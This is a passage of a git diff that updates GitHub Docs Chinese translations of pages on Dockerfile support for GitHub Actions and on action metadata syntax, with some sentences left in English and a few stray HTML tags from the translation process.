+Docker 操作必须由默认 Docker 用户 (root) 运行。 不要在 `Dockerfile` 中使用 `USER` 指令，因为您无法访问 `GITHUB_WORKSPACE`。 更多信息请参阅“[使用环境变量](/actions/configuring-and-managing-workflows/using-environment-variables)”和 Docker 文档中的 [USER 引用](https://docs.docker.com/engine/reference/builder/#user)。
 
 ### FROM
 
-The first instruction in the `Dockerfile` must be `FROM`, which selects a Docker base image. For more information, see the [FROM reference](https://docs.docker.com/engine/reference/builder/#from) in the Docker documentation.
+`Dockerfile` 中的第一个指令必须是 `FROM`，它将选择 Docker 基础映像。 更多信息请参阅 Docker 文件中的 [FROM 引用](https://docs.docker.com/engine/reference/builder/#from)。
 
-These are some best practices when setting the `FROM` argument:
+在设置 `FROM` 参数时，下面是一些最佳做法：
 
-- It's recommended to use official Docker images. For example, `python` or `ruby`.
-- Use a version tag if it exists, preferably with a major version. For example, use `node:10` instead of `node:latest`.
-- It's recommended to use Docker images based on the [Debian](https://www.debian.org/) operating system.
+- 建议使用正式的 Docker 映像。 例如 `python` 或 `ruby`。
+- 使用版本标记（如果有），最好使用主要版本。 例如，使用 `node:10` 而不使用 `node:latest`。
+- 建议使用基于 [Debian](https://www.debian.org/) 操作系统的 Docker 映像。
 
 ### WORKDIR
 
-{% data variables.product.product_name %} sets the working directory path in the `GITHUB_WORKSPACE` environment variable. It's recommended to not use the `WORKDIR` instruction in your `Dockerfile`. Before the action executes, {% data variables.product.product_name %} will mount the `GITHUB_WORKSPACE` directory on top of anything that was at that location in the Docker image and set `GITHUB_WORKSPACE` as the working directory. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and the [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) in the Docker documentation.
+{% data variables.product.product_name %} 在 `GITHUB_WORKSPACE` 环境变量中设置工作目录路径。 建议不要在 `Dockerfile` 中使用 `WORKDIR` 指令。 在执行操作之前，{% data variables.product.product_name %} 将在 Docker 映像中位于该位置的任何项目上安装 `GITHUB_WORKSPACE` 目录，并将 `GITHUB_WORKSPACE` 设置为工作目录。 更多信息请参阅“[使用环境变量](/actions/configuring-and-managing-workflows/using-environment-variables)”和 Docker 文档中的 [WORKDIR 引用](https://docs.docker.com/engine/reference/builder/#workdir)。
 
 ### ENTRYPOINT
 
-If you define `entrypoint` in an action's metadata file, it will override the `ENTRYPOINT` defined in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)."
+如果在操作的元数据文件中定义 `entrypoint`，它将覆盖 `Dockerfile` 中定义的 `ENTRYPOINT`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)”。
 
-The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. For more information about _exec_ and _shell_ form, see the [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) in the Docker documentation.
+Docker `ENTRYPOINT` 指令有 _shell_ 形式和 _exec_ 形式。 Docker `ENTRYPOINT` 文档建议使用 _exec_ 形式的 `ENTRYPOINT` 指令。 有关 _exec_ 和 _shell_ 形式的更多信息，请参阅 Docker 文档中的 [ENTRYPOINT 参考](https://docs.docker.com/engine/reference/builder/#entrypoint)。
 
-If you configure your container to use the _exec_ form of the `ENTRYPOINT` instruction, the `args` configured in the action's metadata file won't run in a command shell. If the action's `args` contain an environment variable, the variable will not be substituted. For example, using the following _exec_ format will not print the value stored in `$GITHUB_SHA`, but will instead print `"$GITHUB_SHA"`.
+如果您配置容器使用 _exec_ 形式的 `ENTRYPOINT` 指令，在操作元数据文件中配置的 `args` 不会在命令 shell 中运行。 如果操作的 `args` 包含环境变量，不会替换该变量。 例如，使用以下 _exec_ 格式将不会打印存储在 `$GITHUB_SHA` 中的值， 但会打印 `"$GITHUB_SHA"`。
 
 ```dockerfile
 ENTRYPOINT ["echo $GITHUB_SHA"]
 ```
 
- If you want variable substitution, then either use the _shell_ form or execute a shell directly. For example, using the following _exec_ format, you can execute a shell to print the value stored in the `GITHUB_SHA` environment variable.
+ 如果要替代变量，则可使用 _shell_ 形式或直接执行 shell。 例如，使用以下 _exec_ 格式可以执行 shell 来打印存储在 `GITHUB_SHA` 环境变量中的值。
 
 ```dockerfile
 ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"]
 ```
 
- To supply `args` defined in the action's metadata file to a Docker container that uses the _exec_ form in the `ENTRYPOINT`, we recommend creating a shell script called `entrypoint.sh` that you call from the `ENTRYPOINT` instruction:
+ 要将操作元数据文件中定义的 `args` 提供到在 `ENTRYPOINT` 中使用 _exec_ 形式的 Docker 容器，建议创建一个可从 `ENTRYPOINT` 指令调用、名为 `entrypoint.sh` 的 shell 脚本。
 
-#### Example *Dockerfile*
+#### 示例 *Dockerfile*
 
 ```dockerfile
 # Container image that runs your code
@@ -74,9 +74,9 @@ COPY entrypoint.sh /entrypoint.sh
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-#### Example *entrypoint.sh* file
+#### 示例 *entrypoint.sh* 文件
 
-Using the example Dockerfile above, {% data variables.product.product_name %} will send the `args` configured in the action's metadata file as arguments to `entrypoint.sh`. Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell.
+使用上面的 Dockerfile 示例，{% data variables.product.product_name %} 会将在操作元数据文件中配置的 `args` 作为参数发送到 `entrypoint.sh`。 在 `entrypoint.sh` 文件顶部添加 `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix))，明确使用系统的 [POSIX](https://en.wikipedia.org/wiki/POSIX) 标准 shell。
 
 ``` sh
 #!/bin/sh
@@ -86,12 +86,12 @@ Using the example Dockerfile above, {% data variables.product.product_name %} wi
 sh -c "echo $*"
 ```
 
-Your code must be executable. Make sure the `entrypoint.sh` file has `execute` permissions before using it in a workflow. You can modify the permission from your terminal using this command:
+您的代码必须是可执行的。 在用于工作流程之前，确保 `entrypoint.sh` 文件有 `execute` 权限。 您可以使用此命令从终端修改权限：
   ``` sh
   chmod +x entrypoint.sh
   ```
 
-When an `ENTRYPOINT` shell script is not executable, you'll receive an error similar to this:
+当 `ENTRYPOINT` shell 脚本不可执行时，您将收到一个类似于以下内容的错误：
 
 ``` sh
 Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
@@ -99,12 +99,12 @@ Error response from daemon: OCI runtime create failed: container_linux.go:348: s
 
 ### CMD
 
-If you define `args` in the action's metadata file, `args` will override the `CMD` instruction specified in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
+如果在操作的元数据文件中定义 `args`，`args` 将覆盖 `Dockerfile` 中指定的 `CMD` 指令。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)”。
 
-If you use `CMD` in your `Dockerfile`, follow these guidelines:
+如果在 `Dockerfile` 中使用 `CMD`，请遵循以下指导方针：
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-## Supported Linux capabilities
+## 支持的 Linux 功能
 
-{% data variables.product.prodname_actions %} supports the default Linux capabilities that Docker supports. Capabilities can't be added or removed. For more information about the default Linux capabilities that Docker supports, see "[Runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" in the Docker documentation. To learn more about Linux capabilities, see "[Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)" in the Linux man-pages.
+{% data variables.product.prodname_actions %} 支持 Docker 所支持的默认 Linux 功能。 无法添加或删除功能。 有关 Docker 支持的默认 Linux 功能的更多信息，请参阅 Docker 文档中的“[运行时权限和 Linux 功能](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)”。 要详细了解 Linux 功能，请在 Linux 手册页中查看[Linux 功能概述](http://man7.org/linux/man-pages/man7/capabilities.7.html)。
diff --git a/translations/zh-CN/content/actions/creating-actions/index.md b/translations/zh-CN/content/actions/creating-actions/index.md
index 1d91ced73d..8868104f86 100644
--- a/translations/zh-CN/content/actions/creating-actions/index.md
+++ b/translations/zh-CN/content/actions/creating-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Creating actions
-intro: 'You can create your own actions, use and customize actions shared by the {% data variables.product.prodname_dotcom %} community, or write and share the actions you build.'
+title: 创建操作
+intro: '您可以创建自己的操作，使用并自定义 {% data variables.product.prodname_dotcom %} 社区共享的操作，或者写入和共享您构建的操作。'
 redirect_from:
   - /articles/building-actions
   - /github/automating-your-workflow-with-github-actions/building-actions
@@ -24,5 +24,6 @@ children:
   - /releasing-and-maintaining-actions
   - /developing-a-third-party-cli-action
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/zh-CN/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/zh-CN/content/actions/creating-actions/metadata-syntax-for-github-actions.md
index 4e9757aec3..87bc65763f 100644
--- a/translations/zh-CN/content/actions/creating-actions/metadata-syntax-for-github-actions.md
+++ b/translations/zh-CN/content/actions/creating-actions/metadata-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Metadata syntax for GitHub Actions
-shortTitle: Metadata syntax
-intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
+title: GitHub Actions 的元数据语法
+shortTitle: 元数据语法
+intro: 您可以创建操作来执行仓库中的任务。 操作需要使用 YAML 语法的元数据文件。
 redirect_from:
   - /articles/metadata-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
@@ -18,31 +18,31 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for {% data variables.product.prodname_actions %}
+## 关于 {% data variables.product.prodname_actions %} 的 YAML 语法
 
-Docker and JavaScript actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs and main entrypoint for your action.
+Docker 和 JavaScript 操作需要元数据文件。 元数据文件名必须是 `action.yml` 或 `action.yaml`。 元数据文件中的数据定义操作的输入、输出和主要进入点。
 
-Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+操作元数据文件使用 YAML 语法。 如果您是 YAML 的新用户，请参阅“[五分钟了解 YAML](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)”。
 
 ## `name`
 
-**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
+**必要** 操作的名称。 {% data variables.product.prodname_dotcom %} 在 **Actions（操作）**选项卡中显示 `name`，帮助从视觉上识别每项作业中的操作。
 
-## `author`
+## `作者`
 
-**Optional** The name of the action's author.
+**可选** 操作的作者姓名。
 
-## `description`
+## `说明`
 
-**Required** A short description of the action.
+**必要** 操作的简短描述。
 
 ## `inputs`
 
-**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
+**可选** 输入参数用于指定操作在运行时预期使用的数据。 {% data variables.product.prodname_dotcom %} 将输入参数存储为环境变量。 大写的输入 ID 在运行时转换为小写。 建议使用小写输入 ID。
 
-### Example
+### 示例
 
-This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
+此示例配置两个输入：numOctocats 和 octocatEyeColor。 numOctocats 输入不是必要的，默认值为 '1'。 octocatEyeColor 输入是必要的，没有默认值。 使用此操作的工作流程文件必须使用 `with` 关键词来设置 octocatEyeColor 的输入值。 有关 `with` 语法的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)”。
 
 ```yaml
 inputs:
@@ -55,41 +55,41 @@ inputs:
     required: true
 ```
 
-When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
+在指定工作流程文件中输入或者使用默认输入值时，{% data variables.product.prodname_dotcom %} 将为名称为 `INPUT_<VARIABLE_NAME>` 的输入创建环境变量。 创建的环境变量将输入名称转换为大写，并将空格替换为 `_` 字符。
 
-If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually. 
+如果该操作是使用 [复合](/actions/creating-actions/creating-a-composite-action)编写的，则它不会自动获得 `INPUT_<VARIABLE_NAME>`。 如果不进行转换，您可以手动更改这些输入。
 
-To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
+要访问 Docker 容器操作中的环境变量，您必须使用操作元数据文件中的关键字 `args` 传递输入。 有关 Docker 容器操作的操作元数据文件的更多信息，请参阅“[创建 Docker 容器操作](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)”。
 
-For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
+例如，如果工作流程定义了 `numOctocats` 和 `octocatEyeColor` 输入，操作代码可使用 `INPUT_NUMOCTOCATS` 和 `INPUT_OCTOCATEYECOLOR` 环境变量读取输入的值。
 
 ### `inputs.<input_id>`
 
-**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**必要** 要与输入关联的 `string` 识别符。 `<input_id>` 的值是输入元数据的映射。 `<input_id>` 必须是 `inputs` 对象中的唯一识别符。 `<input_id>` 必须以字母或 `_` 开头，并且只能包含字母数字、`-` 或 `_`。
 
 ### `inputs.<input_id>.description`
 
-**Required** A `string` description of the input parameter.
+**必要** 输入参数的 `string` 描述。
 
 ### `inputs.<input_id>.required`
 
-**Required** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
+**必要** 表示操作是否需要输入参数的 `boolean`。 当参数为必要时设置为 `true`。
 
 ### `inputs.<input_id>.default`
 
-**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
+**可选** 表示默认值的 `string`。 当工作流程文件中未指定输入参数时使用默认值。
 
 ### `inputs.<input_id>.deprecationMessage`
 
-**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
+**可选** 如果使用输入参数，此 `string` 将记录为警告消息。 您可以使用此警告通知用户输入已被弃用，并提及任何其他替代方式。
 
 ## `outputs`
 
-**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions.  For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
+**可选** 输出参数允许您声明操作所设置的数据。 稍后在工作流程中运行的操作可以使用以前运行操作中的输出数据集。  例如，如果有操作执行两个输入的相加 (x + y = z)，则该操作可能输出总和 (z)，用作其他操作的输入。
 
-If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
+如果不在操作元数据文件中声明输出，您仍然可以设置输出并在工作流程中使用它们。 有关在操作中设置输出的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程命令](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)”。
 
-### Example
+### 示例
 
 ```yaml
 outputs:
@@ -99,19 +99,25 @@ outputs:
 
 ### `outputs.<output_id>`
 
-**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**必要** 要与输出关联的 `string` 识别符。 `<output_id>` 的值是输出元数据的映射。 `<output_id>` 必须是 `outputs` 对象中的唯一识别符。 `<output_id>` 必须以字母或 `_` 开头，并且只能包含字母数字、`-` 或 `_`。
 
 ### `outputs.<output_id>.description`
 
-**Required** A `string` description of the output parameter.
+**必要** 输出参数的 `string` 描述。
 
-## `outputs` for composite actions
+## 用于复合操作的 `outputs`
 
-**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), but also includes the `value` token.
+**可选** `outputs` 使用与 `outputs.<output_id>` 及 `outputs.<output_id>.description` 相同的参数（请参阅“用于 {% data variables.product.prodname_actions %}</a> 的
 
-### Example
+`outputs`”），但也包括 `value` 令牌。</p> 
+
+
+
+### 示例
 
 {% raw %}
+
+
 ```yaml
 outputs:
   random-number:
@@ -124,118 +130,176 @@ runs:
       run: echo "::set-output name=random-id::$(echo $RANDOM)"
       shell: bash
 ```
+
+
 {% endraw %}
 
+
+
 ### `outputs.<output_id>.value`
 
-**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
+**必要** 输出参数将会映射到的值。 您可以使用上下文将此设置为 `string` 或表达式。 例如，您可以使用 `steps` 上下文将输出的 `value` 设置为步骤的输出值。
+
+有关如何使用上下文语法的更多信息，请参阅“[上下文](/actions/learn-github-actions/contexts)”。
+
 
-For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
 
 ## `runs`
 
 **Required** Specifies whether this is a JavaScript action, a composite action or a Docker action and how the action is executed.
 
-## `runs` for JavaScript actions
+
+
+## 用于 JavaScript 操作的 `runs`
 
 **Required** Configures the path to the action's code and the runtime used to execute the code.
 
-### Example using Node.js v12
+
+
+### Example using Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}v16{% else %}v12{% endif %}
+
+
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'main.js'
 ```
 
+
+
+
 ### `runs.using`
 
 **Required** The runtime used to execute the code specified in [`main`](#runsmain).  
 
-- Use `node12` for Node.js v12.
-- Use `node16` for Node.js v16.
+- Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}
+- Use `node16` for Node.js v16.{% endif %}
+
+
 
 ### `runs.main`
 
-**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
+**必要** 包含操作代码的文件。 The runtime specified in [`using`](#runsusing) executes this file.
+
+
 
 ### `pre`
 
-**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**可选** 允许您在 `main:` 操作开始之前，在作业开始时运行脚本。 例如，您可以使用 `pre:` 运行基本要求设置脚本。 The runtime specified with the [`using`](#runsusing) syntax will execute this file. `pre:` 操作始终默认运行，但您可以使用 [`pre-if`](#pre-if) 覆盖该设置。
+
+在此示例中，`pre:` 操作运行名为 `setup.js` 的脚本：
+
 
-In this example, the `pre:` action runs a script called `setup.js`:
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   pre: 'setup.js'
   main: 'index.js'
   post: 'cleanup.js'
 ```
 
+
+
+
 ### `pre-if`
 
-**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`.
-Note that the `step` context is unavailable, as no steps have run yet.
+**可选** 允许您定义 `pre:` 操作执行的条件。 `pre:` 操作仅在满足 `pre-if` 中的条件后运行。 如果未设置，则 `pre-if` 默认使用 `always()`。 In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
+
+请注意，`step` 上下文不可用，因为尚未运行任何步骤。
+
+在此示例中，`cleanup.js` 仅在基于 Linux 的运行器上运行：
+
 
-In this example, `cleanup.js` only runs on Linux-based runners:
 
 ```yaml
   pre: 'cleanup.js'
   pre-if: runner.os == 'linux'
 ```
 
+
+
+
 ### `post`
 
-**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+**可选** 允许您在 `main:` 操作完成后，在作业结束时运行脚本。 例如，您可以使用 `post:` 终止某些进程或删除不需要的文件。 The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+
+在此示例中，`post:` 操作会运行名为 `cleanup.js` 的脚本：
+
 
-In this example, the `post:` action runs a script called `cleanup.js`:
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'index.js'
   post: 'cleanup.js'
 ```
 
-The `post:` action always runs by default but you can override this using `post-if`.
+
+`post:` 操作始终默认运行，但您可以使用 `post-if` 覆盖该设置。
+
+
 
 ### `post-if`
 
-**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`.
+**可选** 允许您定义 `post:` 操作执行的条件。 `post:` 操作仅在满足 `post-if` 中的条件后运行。 如果未设置，则 `post-if` 默认使用 `always()`。 In `post-if`, status check functions evaluate against the job's status, not the action's own status.
+
+例如，此 `cleanup.js` 仅在基于 Linux 的运行器上运行：
+
 
-For example, this `cleanup.js` will only run on Linux-based runners:
 
 ```yaml
   post: 'cleanup.js'
   post-if: runner.os == 'linux'
 ```
 
-## `runs` for composite actions
+
+
+
+## 用于复合操作的 `runs`
 
 **Required** Configures the path to the composite action.
 
+
+
 ### `runs.using`
 
 **Required** You must set this value to `'composite'`.
 
+
+
 ### `runs.steps`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps.
+
+
+**必要** 您计划在此操作中的步骤。 这些步骤可以是 `run` 步骤或 `uses` 步骤。 
+
 {% else %}
-**Required** The steps that you plan to run in this action.
+
+**必要** 您计划在此操作中的步骤。 
+
 {% endif %}
 
+
+
 #### `runs.steps[*].run`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The command you want to run. This can be inline or a script in your action repository:
+
+
+**可选** 您想要运行的命令。 这可以是内联的，也可以是操作仓库中的脚本： 
+
 {% else %}
-**Required** The command you want to run. This can be inline or a script in your action repository:
+
+**必要** 您想要运行的命令。 这可以是内联的，也可以是操作仓库中的脚本： 
+
 {% endif %}
 
 {% raw %}
+
+
 ```yaml
 runs:
   using: "composite"
@@ -243,9 +307,13 @@ runs:
     - run: ${{ github.action_path }}/test/script.sh
       shell: bash
 ```
+
+
 {% endraw %}
 
-Alternatively, you can use `$GITHUB_ACTION_PATH`:
+或者，您也可以使用 `$GITHUB_ACTION_PATH`：
+
+
 
 ```yaml
 runs:
@@ -255,43 +323,101 @@ runs:
       shell: bash
 ```
 
-For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+
+更多信息请参阅“[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)”。
+
+
 
 #### `runs.steps[*].shell`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+
+
+**可选** 您想要在其中运行命令的 shell。 您可以使用[这里](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell)列出的任何 shell。 如果设置了 `run`，则必填。 
+
 {% else %}
-**Required** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+
+**必要** 您想要在其中运行命令的 shell。 您可以使用[这里](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell)列出的任何 shell。 如果设置了 `run`，则必填。 
+
 {% endif %}
 
+
+
+#### `runs.steps[*].if`
+
+**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. 您可以使用任何支持上下文和表达式来创建条件。
+
+{% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+
+**示例：使用上下文**
+
+此步骤仅在事件类型为 `pull_request` 并且事件操作为 `unassigned` 时运行。
+
+
+
+ ```yaml
+steps:
+  - run: echo This event is a pull request that had an assignee removed.
+    if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
+```
+
+
+**示例：使用状态检查功能**
+
+The `my backup step` only runs when the previous step of a composite action fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+
+
+
+```yaml
+steps:
+  - name: My first step
+    uses: octo-org/action-name@main
+  - name: My backup step
+    if: {% raw %}${{ failure() }}{% endraw %}
+    uses: actions/heroku@1.0.0
+```
+
+
+
+
 #### `runs.steps[*].name`
 
-**Optional** The name of the composite step.
+**可选** 复合步骤的名称。
+
+
 
 #### `runs.steps[*].id`
 
-**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+**可选** 步骤的唯一标识符。 您可以使用 `id` 引用上下文中的步骤。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。
+
+
 
 #### `runs.steps[*].env`
 
-**Optional**  Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+**可选** 设置环境变量的 `map` 仅用于该步骤。 If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+
+
 
 #### `runs.steps[*].working-directory`
 
-**Optional**  Specifies the working directory where the command is run.
+**可选**  指定命令在其中运行的工作目录。
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
+
+
 #### `runs.steps[*].uses`
 
-**Optional**  Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+**可选**  选择作为作业步骤一部分运行的操作。 操作是一种可重复使用的代码单位。 您可以使用工作流程所在仓库中、公共仓库中或[发布 Docker 容器映像](https://hub.docker.com/)中定义的操作。
+
+强烈建议指定 Git ref、SHA 或 Docker 标记编号来包含所用操作的版本。 如果不指定版本，在操作所有者发布更新时可能会中断您的工作流程或造成非预期的行为。
+
+- 使用已发行操作版本的 SHA 对于稳定性和安全性是最安全的。
+- 使用特定主要操作版本可在保持兼容性的同时接收关键修复和安全补丁。 还可确保您的工作流程继续工作。
+- 使用操作的默认分支可能很方便，但如果有人新发布具有突破性更改的主要版本，您的工作流程可能会中断。
+
+有些操作要求必须通过 [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) 关键词设置输入。 请查阅操作的自述文件，确定所需的输入。
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
 
-Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
 
 ```yaml
 runs:
@@ -315,9 +441,14 @@ runs:
     - uses: docker://alpine:3.8
 ```
 
+
+
+
 #### `runs.steps[*].with`
 
-**Optional**  A `map` of the input parameters defined by the action. Each input parameter is a key/value pair.  Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.
+**可选** 输入参数的 `map` 由操作定义。 每个输入参数都是一个键/值对。  输入参数被设置为环境变量。 该变量的前缀为 INPUT_，并转换为大写。
+
+
 
 ```yaml
 runs:
@@ -330,13 +461,21 @@ runs:
         middle_name: The
         last_name: Octocat  
 ```
+
+
 {% endif %}
 
-## `runs` for Docker actions
 
-**Required** Configures the image used for the Docker action.
 
-### Example using a Dockerfile in your repository
+## 用于 Docker 操作的 `runs`
+
+**必要** 配置用于 Docker 操作的图像。
+
+
+
+### 在仓库中使用 Dockerfile 的示例
+
+
 
 ```yaml
 runs:
@@ -344,7 +483,12 @@ runs:
   image: 'Dockerfile'
 ```
 
-### Example using public Docker registry container
+
+
+
+### 使用公共 Docker 注册表容器的示例
+
+
 
 ```yaml
 runs:
@@ -352,17 +496,24 @@ runs:
